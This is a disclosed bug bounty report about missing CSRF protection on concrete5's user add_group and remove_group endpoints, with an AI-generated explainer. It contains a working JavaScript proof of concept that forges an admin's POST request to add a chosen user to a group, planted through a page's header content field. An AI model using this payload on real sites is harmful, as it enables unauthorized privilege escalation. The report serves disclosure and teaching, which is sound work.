No csrf protection on index.php/ccm/system/user/add_group, index.php/ccm/system/user/remove_group
The add_group and remove_group endpoints lacked CSRF protection, so a malicious page could submit requests on behalf of a logged-in administrator. An attacker could thereby add or remove arbitrary users from groups.
- Fixed in 20 days
- Disclosed after 3 months
Summary by the program
add_group and remove_group have no CSRF protection.
The report
crayons
There is no csrf protection on index.php/ccm/system/user/add_group, and index.php/ccm/system/user/remove_group.
A malicious POST request can be constructed to add or remove group membership from arbitrary users, if a logged-in admin surfs to a compromised site.
For example, a registered user who has access to edit a given page (say, a blog post) could add the following javascript to the "Extra Header Content" section of the page's SEO module:
<!-- <script language="JavaScript" type="text/javascript"> window.onload = promoteUser(); function promoteUser() { var XHR = new XMLHttpRequest(); var urlEncodedData = ""; var urlEncodedDataPairs = []; var name; var data = {gID:'3', uID:'8'}; //sub uID for whatever uID you want to promote for(name in data) { urlEncodedDataPairs.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name])); } //end for(name in data) urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+'); XHR.addEventListener('load', function(event){ //alert boxes for testing purposes only //alert('Yeah! Data sent and response loaded.'); }); XHR.addEventListener('error', function(event){ //alert boxes for testing purposes only //alert('Oops. Something went wrong.'); }); XHR.open('POST', 'http://<<site>>/concrete5/index.php/ccm/system/user/add_group'); // alt: XHR.open('POST', // 'http://<<site>>/concrete5/index.php/ccm/system/user/remove_group'); XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); XHR.setRequestHeader('Content-Length', urlEncodedData.length); XHR.send(urlEncodedData); }//end promoteUser </script> -->As an aside, I'm not sure whether allowing any user to add javascript to the "Extra Header Content" field of a page's SEO module counts as XSS or not, since it seems like a feature, albeit one that could be abused.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the group add and remove endpoints accepted state-changing POST requests without any anti-CSRF token or origin check.
Impact
A logged-in administrator visiting a compromised site could have group membership of arbitrary users changed without their knowledge.
What the attacker needed
Attacker can edit a page's header content; victim is a logged-in admin; admin visits the compromised page
How it was found
- A user with permission to edit a page adds script to the page's Extra Header Content field.
- An administrator visits the compromised page while logged in.
- The script sends a POST request to the add_group or remove_group endpoint with chosen group and user identifiers.
- The server processes the request as the administrator, changing group membership.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you are logged in to a site, your browser automatically sends your session cookie with every request to that site. If a page does not check that a request really came from its own forms, another website can quietly make your browser send a request for you. Here that let an attacker change which groups a user belongs to while an administrator was logged in.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.